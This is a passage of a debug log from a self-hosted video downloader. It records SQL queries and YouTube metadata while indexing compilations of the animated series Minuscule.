'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [95106] 22:09:34.866 [debug] Current batch of media processed. Will check again in 1000ms 22:09:35.867 [debug] Current batch of media processed. Will check again in 1000ms 22:09:36.868 [debug] Current batch of media processed. Will check again in 1000ms 22:09:37.869 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Sleep Walker | S02E68\n00:03:24 | The Long Road | S02E34\n00:07:07 | Night of the Gastropods | S02E18\n00:10:52 | Thirsty | S02E29\n00:14:25 | Hop On! | S02E25\n00:18:02 | Zzz zzz | S02E44\n00:21:33 | Spider from the Depths | S02E31\n00:25:07 | A Butterfly's Nightmare | S02E20\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Dream #Love #Snail #Sleep #snail #water #journey #hazard #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 1742, "filename" => "/downloads/Miniscule Season 2/2025-08-16 Sleep Walker | Minuscule 🍃 40' Compilation/Sleep Walker | Minuscule 🍃 40' Compilation [nT-gIL_wrbs].mp4", "id" => "nT-gIL_wrbs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=nT-gIL_wrbs", "playlist_index" => 35, "timestamp" => 1755367245, "title" => "Sleep Walker | Minuscule 🍃 40' Compilation", "upload_date" => "20250816"} 22:09:37.870 [debug] QUERY OK source="sources" db=0.7ms idle=1698.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:09:37.871 [debug] QUERY OK source="sources" db=0.3ms idle=1699.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:09:37.872 [debug] QUERY OK source="media_items" db=1.0ms idle=1700.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-16 18:00:45Z], 5] 22:09:37.970 [debug] QUERY OK source="media_items" db=97.1ms idle=1004.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Sleep Walker | S02E68\n00:03:24 | The Long Road | S02E34\n00:07:07 | Night of the Gastropods | S02E18\n00:10:52 | Thirsty | S02E29\n00:14:25 | Hop On! | S02E25\n00:18:02 | Zzz zzz | S02E44\n00:21:33 | Spider from the Depths | S02E31\n00:25:07 | A Butterfly's Nightmare | S02E20\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Dream #Love #Snail #Sleep #snail #water #journey #hazard #Minuscule #nature #insects #ladybugs #animatedseries", "Sleep Walker | Minuscule 🍃 40' Compilation", "013b7ac7-a7b1-4a16-8187-cbc621032dbe", "nT-gIL_wrbs", 1742, false, 5, "https://www.youtube.com/watch?v=nT-gIL_wrbs", 35, "/downloads/Miniscule Season 2/2025-08-16 Sleep Walker | Minuscule 🍃 40' Compilation/Sleep Walker | Minuscule 🍃 40' Compilation [nT-gIL_wrbs].mp4", false, false, false, [], 1, ~U[2025-08-16 18:00:45Z], ~U[2025-12-12 05:09:37Z], ~U[2025-12-12 05:09:37Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Sleep Walker | S02E68\n00:03:24 | The Long Road | S02E34\n00:07:07 | Night of the Gastropods | S02E18\n00:10:52 | Thirsty | S02E29\n00:14:25 | Hop On! | S02E25\n00:18:02 | Zzz zzz | S02E44\n00:21:33 | Spider from the Depths | S02E31\n00:25:07 | A Butterfly's Nightmare | S02E20\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Dream #Love #Snail #Sleep #snail #water #journey #hazard #Minuscule #nature #insects #ladybugs #animatedseries", "Sleep Walker | Minuscule 🍃 40' Compilation", "nT-gIL_wrbs", 1742, false, 5, "https://www.youtube.com/watch?v=nT-gIL_wrbs", "/downloads/Miniscule Season 2/2025-08-16 Sleep Walker | Minuscule 🍃 40' Compilation/Sleep Walker | Minuscule 🍃 40' Compilation [nT-gIL_wrbs].mp4", false, ~U[2025-08-16 18:00:45Z]] 22:09:37.971 [debug] QUERY OK source="sources" db=0.4ms idle=100.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:09:37.972 [debug] QUERY OK source="media_profiles" db=0.3ms idle=100.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:09:37.973 [debug] QUERY OK source="media_items" db=0.5ms idle=101.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [95541] 22:09:37.973 [debug] Current batch of media processed. Will check again in 1000ms 22:09:38.974 [debug] Current batch of media processed. Will check again in 1000ms 22:09:39.975 [debug] Current batch of media processed. Will check again in 1000ms 22:09:40.976 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Hat Of The Medusa | S02E17\n00:03:45 | Summer Hat | S02E48\n00:07:27 | Labyrinth | S02E69\n00:11:12 | Spider from the Depths | S02E31\n00:14:47 | Brushing | S02E46\n00:18:19 | Honey Fly | S02E08\n00:22:09 | Thievish As A Magpie | S02E11\n00:25:55 | A Pathetic She'Nut'Igan | S02E12\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#hat #fly #spider #ocean #summer #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 1819, "filename" => "/downloads/Miniscule Season 2/2025-08-09 The Hat Of The Medusa | Minuscule | 40' Compilation/The Hat Of The Medusa | Minuscule | 40' Compilation [cXt8BCh7-7A].mp4", "id" => "cXt8BCh7-7A", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=cXt8BCh7-7A", "playlist_index" => 36, "timestamp" => 1754762438, "title" => "The Hat Of The Medusa | Minuscule | 40' Compilation", "upload_date" => "20250809"} 22:09:40.977 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1805.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:09:40.978 [debug] QUERY OK source="sources" db=0.3ms idle=1806.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:09:40.979 [debug] QUERY OK source="media_items" db=1.0ms idle=1807.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-09 18:00:38Z], 5] 22:09:40.982 [debug] QUERY OK source="media_items" db=2.2ms idle=1104.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Hat Of The Medusa | S02E17\n00:03:45 | Summer Hat | S02E48\n00:07:27 | Labyrinth | S02E69\n00:11:12 | Spider from the Depths | S02E31\n00:14:47 | Brushing | S02E46\n00:18:19 | Honey Fly | S02E08\n00:22:09 | Thievish As A Magpie | S02E11\n00:25:55 | A Pathetic She'Nut'Igan | S02E12\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#hat #fly #spider #ocean #summer #Minuscule #nature #insects #ladybugs #animatedseries", "The Hat Of The Medusa | Minuscule | 40' Compilation", "d7f1dea3-f796-474e-bac9-29b64e146e8e", "cXt8BCh7-7A", 1819, false, 5, "https://www.youtube.com/watch?v=cXt8BCh7-7A", 36, "/downloads/Miniscule Season 2/2025-08-09 The Hat Of The Medusa | Minuscule | 40' Compilation/The Hat Of The Medusa | Minuscule | 40' Compilation [cXt8BCh7-7A].mp4", false, false, false, [], 1, ~U[2025-08-09 18:00:38Z], ~U[2025-12-12 05:09:40Z], ~U[2025-12-12 05:09:40Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Hat Of The Medusa | S02E17\n00:03:45 | Summer Hat | S02E48\n00:07:27 | Labyrinth | S02E69\n00:11:12 | Spider from the Depths | S02E31\n00:14:47 | Brushing | S02E46\n00:18:19 | Honey Fly | S02E08\n00:22:09 | Thievish As A Magpie | S02E11\n00:25:55 | A Pathetic She'Nut'Igan | S02E12\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#hat #fly #spider #ocean #summer #Minuscule #nature #insects #ladybugs #animatedseries", "The Hat Of The Medusa | Minuscule | 40' Compilation", "cXt8BCh7-7A", 1819, false, 5, "https://www.youtube.com/watch?v=cXt8BCh7-7A", "/downloads/Miniscule Season 2/2025-08-09 The Hat Of The Medusa | Minuscule | 40' Compilation/The Hat Of The Medusa | Minuscule | 40' Compilation [cXt8BCh7-7A].mp4", false, ~U[2025-08-09 18:00:38Z]] 22:09:40.983 [debug] QUERY OK source="sources" db=0.3ms idle=105.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:09:40.984 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:09:40.985 [debug] QUERY OK source="media_items" db=0.4ms idle=6.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [95107] 22:09:40.985 [debug] Current batch of media processed. Will check again in 1000ms 22:09:41.986 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #8BwQeX9X4kA/youtube video #8BwQeX9X4kA [8BwQeX9X4kA].NA", "id" => "8BwQeX9X4kA", "original_url" => "https://www.youtube.com/watch?v=8BwQeX9X4kA", "playlist_index" => 37, "title" => "youtube video #8BwQeX9X4kA"} 22:09:41.987 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1004.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:09:41.987 [debug] Current batch of media processed. Will check again in 1000ms 22:09:42.988 [debug] Current batch of media processed. Will check again in 1000ms 22:09:43.989 [debug] Current batch of media processed. Will check again in 1000ms 22:09:44.990 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Snow Carrot | S02E59\n00:03:38 | Sand Castle | S02E49\n00:07:05 | Ants On The Train | S02E52\n00:10:36 | The Yule log | S02E35\n00:14:22 | Away all boarders! | S02E41\n00:18:04 | Snow Fly | S02E51\n00:21:29 | It's a tie! | S02E67\n00:25:09 | Sausage Predator | S02E06\n00:28:55 | The Chocolate Chase! | S02E19\n00:32:40 | Black Slope For Gastropod Skiers | S02E55\n00:36:26 | White As Snow | S02E63\n00:40:02 | Rascals! | S02E38\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Snow #Carrot #Ants #Ski #Chocolate #Beach #Castle #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 2661, "filename" => "/downloads/Miniscule Season 2/2025-07-24 Snow Carrot | Minuscule 🍃 55' Compilation/Snow Carrot | Minuscule 🍃 55' Compilation [33Gq2gdWIFQ].mp4", "id" => "33Gq2gdWIFQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=33Gq2gdWIFQ", "playlist_index" => 38, "timestamp" => 1753351204, "title" => "Snow Carrot | Minuscule 🍃 55' Compilation", "upload_date" => "20250724"} 22:09:44.991 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1107.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:09:44.992 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=820.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:09:44.994 [debug] QUERY OK source="media_items" db=1.0ms idle=822.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-24 10:00:04Z], 5] 22:09:45.037 [debug] QUERY OK source="media_items" db=41.8ms idle=823.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Snow Carrot | S02E59\n00:03:38 | Sand Castle | S02E49\n00:07:05 | Ants On The Train | S02E52\n00:10:36 | The Yule log | S02E35\n00:14:22 | Away all boarders! | S02E41\n00:18:04 | Snow Fly | S02E51\n00:21:29 | It's a tie! | S02E67\n00:25:09 | Sausage Predator | S02E06\n00:28:55 | The Chocolate Chase! | S02E19\n00:32:40 | Black Slope For Gastropod Skiers | S02E55\n00:36:26 | White As Snow | S02E63\n00:40:02 | Rascals! | S02E38\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Snow #Carrot #Ants #Ski #Chocolate #Beach #Castle #Minuscule #nature #insects #ladybugs #animatedseries", "Snow Carrot | Minuscule 🍃 55' Compilation", "413451c6-3119-473e-8b13-da8439652b2c", "33Gq2gdWIFQ", 2661, false, 5, "https://www.youtube.com/watch?v=33Gq2gdWIFQ", 38, "/downloads/Miniscule Season 2/2025-07-24 Snow Carrot | Minuscule 🍃 55' Compilation/Snow Carrot | Minuscule 🍃 55' Compilation [33Gq2gdWIFQ].mp4", false, false, false, [], 1, ~U[2025-07-24 10:00:04Z], ~U[2025-12-12 05:09:44Z], ~U[2025-12-12 05:09:44Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Snow Carrot | S02E59\n00:03:38 | Sand Castle | S02E49\n00:07:05 | Ants On The Train | S02E52\n00:10:36 | The Yule log | S02E35\n00:14:22 | Away all boarders! | S02E41\n00:18:04 | Snow Fly | S02E51\n00:21:29 | It's a tie! | S02E67\n00:25:09 | Sausage Predator | S02E06\n00:28:55 | The Chocolate Chase! | S02E19\n00:32:40 | Black Slope For Gastropod Skiers | S02E55\n00:36:26 | White As Snow | S02E63\n00:40:02 | Rascals! | S02E38\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Snow #Carrot #Ants #Ski #Chocolate #Beach #Castle #Minuscule #nature #insects #ladybugs #animatedseries", "Snow Carrot | Minuscule 🍃 55' Compilation", "33Gq2gdWIFQ", 2661, false, 5, "https://www.youtube.com/watch?v=33Gq2gdWIFQ", "/downloads/Miniscule Season 2/2025-07-24 Snow Carrot | Minuscule 🍃 55' Compilation/Snow Carrot | Minuscule 🍃 55' Compilation [33Gq2gdWIFQ].mp4", false, ~U[2025-07-24 10:00:04Z]] 22:09:45.038 [debug] QUERY OK source="sources" db=0.4ms idle=152.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:09:45.039 [debug] QUERY OK 